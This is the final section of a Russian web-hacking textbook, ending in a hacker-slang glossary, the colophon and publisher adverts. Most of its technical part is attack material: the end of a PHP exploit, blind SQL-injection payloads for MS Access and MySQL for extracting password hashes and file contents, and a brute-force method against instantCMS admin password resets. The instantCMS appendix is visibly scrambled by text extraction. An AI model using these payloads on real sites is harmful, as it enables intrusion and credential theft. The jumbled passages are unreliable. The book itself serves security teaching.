$op = ">";
break;
}
}
}
$j++;
}
echo "\n";
?>

Заметьте, что некоторые строки, которые в книге из-за недостатка места перенесены (в частности, строка, начинающаяся с символов $xpl=), в редакторе должны
вводиться одной длинной строкой.

156

U

7

Получение имен таблиц
и данных через слепую
SQL-инъекцию в MS Access

Получение имени таблицы:
[...] AND (SELECT TOP 1 1 FROM имя_таблицы)

Пример:
[...] AND (SELECT TOP 1 1 FROM users)

Получение имени колонки:
AND (SELECT TOP 1 имя_колонки FROM имя_таблицы)

Пример:
[...] AND (SELECT TOP 1 name FROM users)

Извлечение длины указанной строки:
[...] AND IIF((SELECT TOP 1 LEN(имя_колонки) FROM имя_таблицы = X, 1, 0)

Пример:
[...] AND IIF((SELECT TOP 1 LEN(name) FROM users) = 8, 1, 0)

Извлечение данных из колонок:
[...] AND IIF((SELECT TOP 1 MID(имя_колонки, X, 1)
FROM имя_таблицы) = CHR(XXX), 1, 0)

Пример:
[...] AND IIF((SELECT TOP 1 MID(name, 1, 1)
FROM users ) = CHR(65), 1, 0)

157

U

8

Переустановка пароля
администратора
и угадывание его
в instantCMS

Материал этого приложения публикуется с любезного разрешения The matrix,
впервые открывшего данную уязвимость, описавшего ее и создавшего под нее
эксплойт.
Описание уязвимости можно найти по адресу
https://forum.antichat.ru/showpost.php?p=2138088&postcount=23

Видео, посвященное этой уязвимости, располагается по адресам
http://ifolder.ru/17669676
http://webfile.ru/4490132

Уязвимы все версии. Для эксплуатации уязвимости нужен адрес электронной
почты администратора (по умолчанию отображается в профиле) и много времени.
В чем суть? Адрес /components/registration/frontend.php содержит такой PHPкод:
$sql = "SELECT * FROM cms_users WHERE email = '$email' LIMIT 1";
$result = $inDB->query($sql) ;
if ($inDB->num_rows($result)>0){
$usr = $inDB->fetch_assoc($result);
$newpassword = substr(md5(microtime()), 0, 6);
$inDB->query("UPDATE cms_users SET password =
'".md5($newpassword)."' WHERE id = ".$usr['id']) ;
$mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n";
$mail_message = $_LANG['HELLO'].', ' . $usr['nickname'] . '!'. "\n\n";
$mail_message .= $_LANG[
'REMINDER_TEXT'].' "'.$inConf->sitename.'".' . "\n\n";
$mail_message .= $_LANG['OUR_PASS_IS_MD5'] . "\n";
$mail_message .= $_LANG['OUR_PASS_IS_MD5_TEXT'] . "\n\n";
$mail_message .= '########## '.$_LANG['YOUR_LOGIN'].': ' .$usr[
'login']. "\n\n";
$mail_message .= '########## '.$_LANG[
'YOUR_NEW_PASS'].': ' .$newpassword . "\n\n";

158

Но как он это делает? 1. ' ('. прошедших с начала эпохи Unix (The Unix Epoch. $mail_message . Этот скрипт восстанавливает пароли рассеянных пользователей.xxxxxx00 (время в секундах. перехватить пакет и в ответе на запрос проверить дату. cmsUser:: getProfileURL($usr['login']) . При вызове без необязательного параметра возвращается строка в формате msec sec. 1 января 1970. $inConf->sitename . прошедших с начала эпохи Unix. Для этого создаем список вида 0. $mail_message . "\n".= $_LANG['IN_CONFIG_PROFILE']. присваивает паролю значение. а msec — дробная часть.= $_LANG['YOU_CAN_CHANGE_PASS'].= date('d-m-Y (H:i)'). Например: 0. $mail_message). где sec — это количество секунд. "\n\n". 11 May 2010 20:39:23 GMT Далее узнаем на локальной машине.HOST.Переустановка пароля администратора и угадывание его в instantCMS 159 $mail_message . равное первым шести символам хеша от значения.'. а в квадратных скобках выводится количество секунд.' — '. поддерживающих системную функцию gettimeofday(). А вот микросекунды придется подбирать. сколько прошло с момента 1970. $mail_message . Как эксплуатировать уязвимость? Нужно отослать запрос на восстановление пароля.30001200 1273589840 Вместо символов xxxxxx нужно вставлять все возможные комбинации из цифр (таковых миллион). 6) Возвращаем md5-хеш каждого получившегося значения и отрезаем от хеша символы после шестого знака. есть ли в базе данных адрес электронной почты. $inConf->sitename.' . 00:00:00 GMT. 00:00:00 GMT).= $_LANG[ 'SIGNATURE']. которое генерирует функция microtime(). $inCore->mailText($email.xxxxxx00 [1273589840] Здесь символы xxxxxx означают доли секунды. 0. 2.$_LANG[ 'REMINDER_PASS']. Там должно быть что-то вроде следующего: Tue. их мы никак не узнаем. Затем преобразуем их к виду substr(md5(значение).': '. например: 1a512b 159 . Не церемонясь."\n". Она генерирует что-то наподобие следующего: 0. '. прошедшее от момента эпохи Unix до момента отправки запроса на восстановление пароля). Эта функция доступна только в операционных системах.'). Функция microtime() возвращает текущую метку времени с микросекундами. Проверяет.

Хотя эксплуатация данной уязвимости — дело достаточно трудоемкое.909 — то есть в худшем случае пароль мы узнаем через сутки. можно эксплуатировать так. Переустановка пароля администратора Получается словарь из 1 млн слов. 160 .160 Приложение 8. Долго. так как в сгенерированном большом словаре обязательно есть правильный пароль. у меня на компьютере подобный многопоточный брут дает до 11 ппс: 1000000/11=90. Так. И если больше ничего не остается. вероятность успеха здесь 100-процентная. поскольку на количество попыток войти ограничений в форме авторизации не стоит. Одно из этих слов — сгенерированный пароль. но не сложно. Далее нужно пытаться путем подбора пароля войти через веб-форму. Для этого существуют специальные программы.

Однако ничто не мешает хакеру изменить код эксплойта так. 161 . и не так. находит только позиции символа перевода строки. Существуют специализированные методы. Теперь. md5хэш пароля). работающий по принципу двоичного поиска. на реальных каналах связи (в отличие от лабораторных условий на локальном компьютере) эксплойт. который не перебирает все символы подряд. разделенных запятыми. что в начале файла /etc/passwd обычно располагаются учетные записи системных пользователей. которая равна искомой подстроке. Тогда. где произошла остановка. хакер может затем выборочно извлечь любой фрагмент (известно. как правило. обязательно даст сбой после извлечения некоторой части данных. Что касается самого метода двоичного поиска. но не самым быстрым из методов слепой SQL-инъекции. например. включающую в себя только символы из ограниченного набора (например. например. Функция возвращает номер той строки из списка. что этим методом нельзя «вытащить» большое количество информации. которые позволяют быстро извлечь небольшую часть информации. а дает представление о структуре файла. то многие хакеры утверждают. но они являют собой яркий пример изобретательности хакеров. Также целесообразно использовать сначала видоизмененный эксплойт. используемая для поиска подстроки среди списка строк. В случае файла /etc/passwd можно также искать местоположение разделителей полей — символов двоеточия.U 9 Быстрые методы слепой SQL-инъекции Метод двоичного (бинарного) поиска является универсальным. Это и так. strlist) В MySQL существует функция find_in_set(). Действительно. чтобы продолжать подбор символов с того места. получив структуру файла. в том числе российских. я вкратце изложу общие принципы быстрой SQL-инъекции. С этими методами несколько больше хлопот. например содержимое файла /etc/passwd. более подробную информацию вы можете найти на элитных хакерских сайтах. не представляющие интереса в плане подбора пароля). после этого вступления. Если подстрока не найдена. Использование функции find_in_set(substr.

162 . -> 3 Стандартный md5-хэш содержит только символы из следующего набора: '0. LOCATE(). А при помощи операций сложения и вычитания получившиеся коды можно «подогнать» под любые идентификаторы. Недостатки метода:  на реальном сайте идентификаторы могут быть распределены неравномерно.a. Отправить запросы с функцией find_in_set() для каждого символа из базы данных. Вместо функции find_in_set() можно использовать другие функции: INSTR(). тогда наш запрос будет выглядеть так: news.b.6.7.4. страницу с каким идентификатором мы получили. 2. 3. чтобы на сайте был включен режим вывода сообщений об ошибках.c.b.9. для символа 'a' номер равен 11. Оценка количества необходимых запросов: 32+16 запросов на один md5-хэш.  в зависимости от идентификаторов для большого количества символов в алфавите нужно большое количество уникальных страниц.2. ORD().f') В зависимости от кода символа мы будем видеть новость с идентификатором.e.c.b.'0.f' То есть мы можем узнать номер символа следующим образом: select find_in_set((substring((select password from users limit 1).d.8.3.162 Приложение 9.1. иначе приходится передавать более одного запроса на символ.f').1)). причем функции ASCII() и ORD() предпочтительнее. и вывести на экран код символа.a.c. К достоинствам метода относятся:  высокая скорость работы.1.  метод не требует.1.6. которые не всегда доступны.e. то есть скрипт придется настраивать под каждый сайт индивидуально.5.8. что на сайте есть новости с идентификаторами от 1 до 16.d. Вот пример использования этой функции в консоли MySQL (мы ищем подстроку 'c' в наборе 'a.5.b. Быстрые методы слепой SQL-инъекции функция возвращает значение 0. уникальные для этих страниц).'a.1. ASCII().d.7.5.d.d.1.1). 1.3.7.e.3.4. Для практического использования метода хакеру необходимо действовать следующим образом.e'): mysql> SELECT FIND_IN_SET('с'.4.a. поскольку поддерживаются не только в MySQL. Теперь предположим.b. Выделить ключевые слова на страницах с нужными идентификаторами (то есть слова.2.c.2.9. Выяснить по ключевому слову.c.8.php?id=find_in_set(substring((select password from users limit 0.6.9.e').'0. соответствующим символу хэша пароля. К примеру.1).

Представляемый в этом разделе метод первоначально описал хакер Elekt.0}".''.2) #1139 — Got error 'invalid character class' from regexp select 1 regexp if(1=1.2) #1139 — Got error 'brackets ([ ]) not balanced' from regexp select 1 regexp if(1=1."x{1.2) #1139 — Got error 'repetition-operator operand invalid' from regexp select 1 regexp if(1=1. А вот остальные запросы и соответствующие им сообщения об ошибках: select if(1=1.'[2–1]'.2) #1139 — Got error 'invalid collating element' from regexp select 1 regexp if(1=1. "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/ Для всех версий MySql.2) #1139 — Got error 'parentheses not balanced' from regexp select 1 regexp if(1=1. идентификатора).2) #1139 — Got error 'invalid character range' from regexp select 1 regexp if(1=1.'('.]]'. Наиболее часто используется запрос вида (предложен podkashey) SELECT 1 UNION SELECT 2 Этот запрос возвращает ошибку Subquery returns more than 1 row ZaCo предлагает альтернативный вариант запроса: "x" regexp concat("x{1. Суть метода сводится к тому.2) #1139 — Got error 'empty (sub)expression' from regexp select 1 regexp if(1=1. чтобы заставить скрипт выводить сообщение о какойлибо ошибке в зависимости от SQL-запроса. if(@@version<>5.ch.25". "5}". исключая версию 5. этот запрос возвращает ошибку #1139 — Got error 'invalid repetition count(s)' from regexp.'[['.'(({1}'.'[[:]]'. когда ошибки нет. Хакеры нашли еще 9 ошибок.(select 1 union select 2)."x{1.'\\'.(". которые выводятся при неправильном значении regexp. В запросе SELECT 1 сообщения об ошибке нет.2) #1139 — Got error 'invalid repetition count(s)' from regexp select 1 regexp if(1=1.2) #1242 — Subquery returns more than 1 row select 1 regexp if(1=1. итого в ответе от сервера мы можем получить 11 видов ошибок плюс одно состояние.2) #1139 — Got error 'braces not balanced' from regexp select 1 regexp if(1=1.2) #1139 — Got error 'trailing backslash (\)' from regexp 163 .'[[.Использование конструкции find_in_set() + more1row 163 Использование конструкции find_in_set() + more1row Недостатки описанного ранее метода в основном сводятся к тому. что не на всех сайтах удается получить достаточное количество различных страниц в зависимости от значения одного параметра (например.

a-f]. так как на каждом запросе хакер узнает номер группы. чтобы минимизировать количество запросов.'e'.'b'. Быстрые методы слепой SQL-инъекции Теперь скомбинируем эти запросы с функцией find_in_set().d.b. Если символ принадлежит к группе 1.c. if(find_in_set(substring((select passwd from users where id=1).e. Также известно. ( select 1 union select 2).1.25".5. Сформируем следующий запрос: select * from users where id=-1 AND "x" regexp concat( "x{1.'a.1). что могут присутствовать только символы из диапазона [0–9.b.'f' [2]: '1' [3]: '2' [4]: '3' [5]: '4' [6]: '5' [7]: '6' [8]: '7' [9]: '8' [10]: '9' [11]: 'a' Символы распределены так. Если искомый символ есть во множестве подстрок.e.'d'. к примеру: [1]: '0'.2. то хакер узнает его значение с помощью одного запроса. когда ошибки нет).2. то следующим запросом хакер распределяет символы по группам по-другому и сразу узнает номер символа: [1]: [2]: [3]: [4]: [5]: [6]: '0' 'b' 'c' 'd' 'e' 'f' Алгоритм работы с SQL выглядит довольно просто.164 Приложение 9.3. В случае md5-хэша известно. если нет. "6}")) Если первый символ пароля находится во множестве 'a.'c'.f. к какой группе принадлежит символ. вернет 0.1. чтобы минимизировать число обращений к серверу.d. в которой находится символ.c. Символы хакер расставляет по группам так.6'.f.3. Тогда получаем. то запрос вернет следующее: #1242 — Subquery returns more than 1 row В противном случае вернется #1139 — Got error 'invalid repetition count(s)' from regexp То есть при каждом запросе по коду ошибки можно узнать.4.4. 164 .6')>0. она вернет номер подстроки.5. Если символ находится в группах со 2-й по 11-ю.1. что количество различных состояний равно 12 (11 ошибок плюс одно состояние.

Понятно.  универсальность. данный метод использует приблизительно 42 запроса на md5-хэш. Поэтому следует использовать сценарий. после чего возвращаемся к шагу 1. если на сайте включен режим вывода ошибок. 0–9] и 11 состояний занимает почти полстраницы книжного текста. Если в этой группе только один символ. стоит ли еще отправлять запросы или символ уже найден. отправляет их и по ответу определяет. 3. в какой группе находится символ из базы данных. По оценкам. символы из данной группы расставляются по состояниям. По возвращенному коду ответа выясняется. К недостаткам метода относится то.Использование конструкции find_in_set() + more1row 165 1. то он выводится на экран. 165 . Символы алфавита оптимально распределяются по группам. Достоинства метода:  высокая скорость работы. что вручную писать такие запросы совершенно нереально. 2. который автоматически генерирует запросы с вложенными условиями согласно описанному алгоритму. A-Z. если больше одного. что он может работать только в случае. к примеру. запрос для алфавита [a-z.

U 10 Хакерский словарик В среде русскоговорящих хакеров уже давно сложился свой жаргон. то есть логин и пароль. системных администраторов. брутить — подбирать пароли брутфорсером. часто преобразованных по законам нашего языка. блэкхэт (black hat) — хакер. 0-day эксплойт — новейший эксплойт. или aborption end) — аварийное завершение программы. абуз. абузоустойчивый хост — хост. брутфорсер — программа для перебора паролей. аккаунт. других печатных изданий. нарушающий закон в корыстных целях. абуз (abuse) — жалоба на действия хакера. акк — см. но и у специалистов смежных областей (программистов. асечка) — программа ICQ (ай-си-кью). джон. абенд (abend. 0-байт — см. администрация которого не обращает внимания на поступающие жалобы по поводу действий хакеров. арбуз — см. аккаунт (account) — учетная запись. На основании анализа выпусков журнала «Хакер». Некоторые из приведенных терминов популярны не только у хакеров. который еще не стал достоянием широкой публики. аборт (abort) — аварийной прекращение (прерывание) программы. пользователей компьютеров). Большинство слов является транслитерацией англоязычных терминов. аська (ася. jtr — см. блэкхат. имеющих аккаунты на данном хосте. публикаций в Интернете я составил маленький словарик хакерских терминов. нуль-байт. популярный интернетпейджер. админ (admin) — администратор. 166 .

то как блэкхат. задосить — вывести из строя компьютер путем DoS-атаки. не нарушающий закон. инклуд (include) — включение текста из другого файла в основную программу. инклудить (include) — глагол от инклуд. дедик (от dedicated) — выделенный сервер. дос (Denial of Service. вайтхэт (white hat) — хакер. джон. папка. жабаскрип. написанного хакером. дира — директория. кардинг — использование чужих или поддельных кредитных карт. джоник — см. см. DoS) — атака типа отказа в обслуживании. ддос (Distributed Denial of Service. 167 . гидра — программа Hydra. джон — программа John The Ripper. грейхат. DDoS) — распределенная атака типа отказа в обслуживании. винт — жесткий диск. жабаскрипт — язык JavaScript. NetBSD или OpenBSD). инъекция (injection) — «впрыскивание» кода. жаба — язык Java (читается как «джава»). дрова — драйверы. вайтхат. грейхэт (gray hat. ирка (IRC) — программа для чата. см. а помогающий устранять уязвимости.Хакерский словарик 167 бсдя — операционная система FreeBSD (иногда BSD. инклуд. инклудинг (including) — см. то есть включение кода. кейборд(а) (keyboard) — клавиатура. винда — операционная система Windows. клава — клавиатура. также блэкхат и грейхат. инжектировать (inject) — «впрыскивать» код. заюзать (от use) — использовать. вирь (vire) — компьютерный вирус. подделывающее кредитные карты. кейген (keygen) — генератор серийных номеров. каталог. или grey hat) — хакер. ведущий себя то как вайтхат. в существующую программу. инъекция. кардер — лицо.

мирка (mIRC) — программа для чата. неткат — программа netcat (nc). например по языку программирования). намылить — написать электронное письмо. ман — сокр. не рекомендуемое. мыло (mail) — электронная почта. Хакерский словарик код (code) — программа или отдельные операторы. либо MS Windows. жертва хакеров. ламер (lamer) — неопытный пользователь. линух (искаж.168 Приложение 10. мастхэв (must have) — что-либо очень хорошее. никсы — Unix-подобная операционная система. кряк (crack) — небольшая программа. взламывающая какую-либо платную программу. логин (login) — имя пользователя для входа в систему. либо невежественный в компьютерах человек. мазахака — ругательство «мазафака» применительно к хакерам.) — Linux. лог). мелкомягкие. лог (log) — журнал (файл регистрации событий системы или прикладной программы). не желающий учиться. nickname) — кличка либо логин. от мануал. мускул — СУБД MySQL. мануал (manual) — руководство (по чему-либо. 168 . ник (nick. e-mail. моник — монитор. кора (core) — ядро операционной системы. написанные на каком-либо языке программирования. логвайпер (log-wiper) — программа. мыльник — электронный почтовый ящик. маздай (от must die) — что-либо плохое. рекомендуемое к использованию. малварь (malware) — вредоносные программы. кодинг (coding) — программирование. очищающая логи (см. котёнок — программа netcat. кулха ц кер (cool hacker) — крутой хакер (часто с пренебрежительным оттенком). мелкосов или мелкософт — компания Майкрософт. кодить — писать программу.

нюк (nuke) — хакерская программа.Хакерский словарик 169 нулл (null) — пустое значение. скуэль — язык SQL. стремятся использовать чужие эксплойты. санось — операционная система SunOS. ось (OS) — операционная система. 169 . например. саноска. которые. питончик — язык Python либо интерпретатор языка Python. сервак — сервер. рут (root) — суперпользователь в *nix-системах. полуось — операционная система OS/2 от фирмы IBM (уже прекратившая свое существование). пхп — язык PHP либо интерпретатор языка PHP. 0-byte) — нулевой байт. поюзанный (от use) — бывший в употреблении. секьюрный. пров — провайдер — фирма. поюзать (от use) — использовать. сисадмин — системный администратор. порутать тачку (от to root) — получить права привилегированного пользователя на компьютере. предоставляющая интернет-услуги. скрипткидди. опсос — оператор сотовой связи. то есть эксплойт. пасс (pass. попользоваться. паблик сплойт (public sploit) — публичный эксплойт. синжер — социальный инженер — лицо. сервант — см. рутшелл — рутовый шелл. нюк. рутовый — относящийся к суперпользователю root. скриптосос — см. скуль. питон. нюкалка — см. не вникая в суть. сбрутить пасс — найти пароль с помощью брутфорсера. скрипткидди. секурный (secure) — безопасный. в базе данных. нуль-байт (null-byte. находящийся в открытом доступе в Интернете. скриптки дди (script-kiddie) — неодобрительное название хакеров-новичков. сервак. сокращение от password) — пароль. в противоположность 0-day sploit. ОС. скрипткиддис — см. использующее методы социальной инженерии. вызывающая сбой компьютера жертвы.

тётя Ася — программа ICQ (см. монитор. троян. троян. см. червяк. софт (soft) — программы. хакинг.170 Приложение 10. трой — см. аська). фря. фишинг (phishing) — обман пользователей с кражей конфиденциальных данных. искусство взлома либо усовершенствование чего-либо. перехватывающая что-либо (пакеты. троянец — устар. хацкинг — см. фря — операционная система FreeBSD. софтина — программа. на котором размещены сайты. UIN) — номер ICQ. телевизор — устар. спионерить — украсть. FAQ) либо ругательства. советы. хэккер — хакер. сплойт (sploit) — краткая форма слова эксплойт. солярка — операционная система Solaris. уин (user identification number. сплоит. программное обеспечение. троян — троянская программа. хак (hack) — взлом либо улучшение в программе.. cookie). хост (host) — компьютер в Интернете. фряха — см. хостинг — услуги по размещению сайтов. флад (flood) — поток бессмысленных или повторяющихся сообщений. червяга — см. тукс — операционная система Linux (пингвин Тукс — ее символ). соляра. сниффер (sniffer) — программа. сервер. хацкер — хакер. хакинг (hacking) — процесс взлома. типсы (tips) — указания. тачка — компьютер. флуд. факи — часто задаваемые вопросы (Frequently Asked Questions. триксы (tricks) — трюки (в хакинге или программировании). служебная программа. утила — утилита. 170 . Хакерский словарик снифер.

Хакерский словарик 171 червяк — интернет-червь (Internet worm). юзать (от use) — использовать. уин. эксплойт (exploit) — хакерская программа. эксплуатирующая ту или иную уязвимость. шелл (shell) — командная оболочка либо доступ к командной строке. часто служат предметом угона хакерами. 171 . также заюзать. юзер. юин — см. шестизнаки — шестизначные номера ICQ. см. самораспространяющаяся программа. поюзанный. юзверь — см. юзер (user) — пользователь. поюзать.

Юрий Владиленович Жуков Основы веб-хакинга: нападение и защита (+DVD) Заведующий редакцией Руководитель проекта Ведущий редактор Литературный редактор Художественный редактор Корректоры Верстка А. Усл. Отпечатано по технологии CtP в ОАО «Печатный двор» им. Адуевская Н. Б. Тираж 1500. п. М. Чкаловский пр. Кривцов Ю..19.. 194044. И. Формат 70х100/16. 172 . Сергиенко А. Тимофеева Л. Жданов Л. 29а.11.10. 15. л. 14. Харитонов Подписано в печать 23. Першакова. А. Кривцов А. 197110. ООО «Лидер». Сампсониевский пр. Санкт-Петербург. Заказ 0000. Санкт-Петербург. Горького.

com Киев Минск Московский пр..ru ул. тел.piter.piter. имеющих выход на зарубежный рынок.: (1038057) 751-10-02 758-41-45. Ульяновская. 26. 2/1. Семеновская наб. 6. e-mail: sales@msk.com Заказ книг по почте: на сайте www. психологической..com Издательский дом «Питер» приглашает к сотрудничеству авторов.piter. 7037372. Обращайтесь по телефонам: Санкт/Петербург — (812) 703/73/72.com Нижний Новгород ул. 201-48-81 еmail: gv@minsk. email: sib@nsk. 6й этаж тел.com БЕЛАРУСЬ ул. д.: (846) 2778979 e-mail: pitvolga@samtel. Станционная. д.: (812) 703-73-74 по ICQ 413763617 173 .com Москва м.: (1038044) 4903569 факс: (1038044) 4903568. тел. тел.piter. Бебеля.: (812) 7037373./факс: (1037517) 201-48-79.piter./факс: (343) 3789841.: (8312) 412731 email: office@nnov. 13. 97434-50. тел./факс: (495) 23438-15.: (863) 2699122.com Воронеж Екатеринбург Ленинский пр. 2699130 еmail: piterug@rostov. 34. офис 33.com Новосибирск ул. медицинской.piter.. д. тел. 1. корп. д. 36.com ул. д. 3789842 еmail: office@ekat. Б. д. тел. факс: (1038057) 712-27-05.ru УКРАИНА Харьков ул. Специальное предложение — еmail: kozin@piter. еmail: office@kiev.com Ростов/на/Дону Самара ул.piter. Телефон для связи: (812) 703/73/73. офис 10.. д. офис 2. 33а. 11а. «Электрозаводская».ПРЕДСТАВИТЕЛЬСТВА ИЗДАТЕЛЬСКОГО ДОМА «ПИТЕР» предлагают эксклюзивный ассортимент компьютерной. д./факс: (4732) 396170 email: piterctr@сomch.com. тел. д.com Ищем зарубежных партнеров или посредников. 29а тел. Молодогвардейская. Совхозная. Москва — (495) 974/34/50 Заказ книг для вузов и библиотек по тел. по тел.: (383) 363-01-14 факс: (383) 3501979. email: sales@piter. Суздальские ряды. 169. «Выборгская».piter.piter. E/mail: fuganov@piter. д. е-mail: piter@kharkov. 12. корп. тел. д./факс: (812) 7037373. экономической и популярной литературы РОССИЯ Санкт/Петербург м. Сампсониевский пр. 1. офис 223. тел. Притыцкого.

Артиллерийская.ru./факс: (343) 228-10-70 e-mail: igm@lumna. д. д.ru http://www. 470081 email: manager@kmsvrn.: (4212) 328551. пл.: (4212) 360665.ru Хабаровск. Революции. «Топкнига» тел.ru http://www. «Вестер». Путевая.ru Самара.ru Хабаровск.15 тел.krasnet. 124 тел. «Дом книги».topkniga.ru Калининград. «Россы».amital.lumna. 339531 email: dkniga@mail.ru Хабаровск.: (4732) 267777 http://www.ru Воронеж.ru УРАЛ Екатеринбург. 12 тел. д. ул. «Читающий Саратов» пр.fkniga. Мира. 1а тел. «Таис».ru СЕВЕРНЫЙ КАВКАЗ Ессентуки. д. 424 тел./факс: (343) 3581898.: (843) 2723455 email: tais@bancorp. 2477416 email: zakup@intser./факс: (3912) 273971 email: bookworld@public.irk./факс: (3952) 252590 email: kkcbooks@bk./факс: (87934) 69309 email: rossy@kmw. Антона Валека. 3 тел. 86 тел. 241777 email: prodalit@irk. д.: (8182) 654134. 6 56568 email: nshibkova@vester. ул. Октябрьская.: (383) 3361026 факс: (383) 3361027 email: office@topkniga./факс: (4232) 238212 email: bookbase@mail. 653879 email: marketing@avfkniga. 58 тел.ru http://www. Студенческая.: (4732) 512893. д. «Книжный мир» тел.: (4212) 394960 email: zakaz@booksmirs.intser.ru Челябинск. «Книжный мир» пр. сеть магазинов «Книги и книжечки» тел. д. д.primorye.ru Новосибирск. ООО «ИнтерСервис ЛТД» ул.: (3952) 200917. факс: (4212) 328250 email: postmaster@worldbooks. www.ru http://www.ru Екатеринбург. 2477409.ru Саратов.УВАЖАЕМЫЕ ГОСПОДА! КНИГИ ИЗДАТЕЛЬСКОГО ДОМА «ПИТЕР» ВЫ МОЖЕТЕ ПРИОБРЕСТИ ОПТОМ И В РОЗНИЦУ У НАШИХ РЕГИОНАЛЬНЫХ ПАРТНЕРОВ.kht. «Деловая книга». д.: (351) 2477403.: (846) 3312233 email: chaconne@chaccone.kht. 1в тел.ru ЕВРОПЕЙСКИЕ РЕГИОНЫ РОССИИ Архангельск.ru http://www. Ленина.ru http://www.ru ТАТАРСТАН Казань.ru Красноярск. 3581484 email: domknigi@k66. «Светлана» тел. Ленина. ООО «Дом книги» ул. сеть магазинов «Дом книги» тел.ru 174 .ru Иркутск. «Мирс» тел. «ПродаЛитЪ» тел.prodalit. ТЦ «Фрегат» Московское шоссе. ДАЛЬНИЙ ВОСТОК Владивосток «Приморский торговый дом книги» тел. 4 тел.vester. «Чакона». пл.kkcbooks./факс: (4012) 215628.ru СИБИРЬ Иркутск. «Амиталь». ТЦ «Люмна» ул.

piter.PITER. если сумма будет больше 500 рублей.phtml?978538800282&refer=0000 – партнерская ссылка. С этого момента получайте 10% от стоимости каждой покупки. перевести их на кошелек в системе Яндекс.piter. которую совершит клиент.com.ВАМ НРАВЯТСЯ НАШИ КНИГИ? ЗАРАБАТЫВАЙТЕ ВМЕСТЕ С НАМИ! У Вас есть свой сайт? Вы ведете блог? Регулярно общаетесь на форумах? Интересуетесь литературой. Деньги с виртуального счета Вы можете потратить на покупку книг в интернетмагазине издательства «Питер».com/book. А если покупатель приобрел не только эту книгу.phtml?978538800282 – обычная ссылка http://www. любите рекомендовать хорошие книги и хотели бы стать нашим партнером? ЭТО ВПОЛНЕ РЕАЛЬНО! СТАНЬТЕ УЧАСТНИКОМ ПАРТНЕРСКОЙ ПРОГРАММЫ ИЗДАТЕЛЬСТВА «ПИТЕР»! Зарегистрируйтесь на нашем сайте в качестве партнера по адресу www. но и другие издания.piter.com) ВНИМАНИЕ! В каждую ссылку необходимо добавить свой персональный уникальный номер партнера.com/ePartners Получите свой персональный уникальный номер партнера Выбирайте книги на сайте www.Деньги или Web. где 0000 – это ваш уникальный партнерский номер Подробно о Партнерской программе ИД «Питер» читайте на сайте WWW. Вы получаете дополнительно по 5% от стоимости каждой книги. придя в интернет-магазин «Питер» по ссылке c Вашим партнерским номером.piter.COM 175 . Пример партнерской ссылки: http://www. размещайте информацию о них на своем сайте.Money.piter. в блоге или на форуме и добавляйте в текст ссылки на эти книги (на сайт www. а также.com/book.

улицу. регион. USD Bets. корпус. распечатав квитанцию. факс. Дату отправления Вашей покупки и предполагаемую дату доставки Вам сообщат по e-mail.piter. В любом банке. INOCard. название книги. дом. email. 176 . Санкт/Петербург. телефон. почтовый индекс.com по телефону: (812) 703/73/74 по почте: 197198. Отработанная система позволяет нам организовывать доставку Ваших покупок максимально быстро. которая формируется автоматически после совершения Вами заказа. MoneyMail. ООО «Питер Мейл» по ICQ: 413763617 ВЫ МОЖЕТЕ ВЫБРАТЬ ЛЮБОЙ УДОБНЫЙ ДЛЯ ВАС СПОСОБ ОПЛАТЫ: Наложенным платежом с оплатой при получении в ближайшем почтовом отделении. автора. а/я 127.com по электронной почте: postbook@piter. Mobile Wallet и др. Во время заказа Вы будете перенаправлены на защищенный сервер нашего оператора. Все посылки отправляются через «Почту России». населенный пункт. Электронными деньгами.Деньги и Web-money до USD E-Gold. отчество. Мы принимаем к оплате все виды электронных денег: от традиционных Яндекс. имя. квартиру. ПРИ ОФОРМЛЕНИИ ЗАКАЗА УКАЖИТЕ: фамилию. RBK Money (RuPay). район. количество заказываемых экземпляров.ЗАКАЗАТЬ КНИГИ ИЗДАТЕЛЬСКОГО ДОМА «ПИТЕР» МОЖНО ЛЮБЫМ УДОБНЫМ ДЛЯ ВАС СПОСОБОМ: на нашем сайте: www. где сможете ввести свои данные для оплаты. С помощью банковской карты.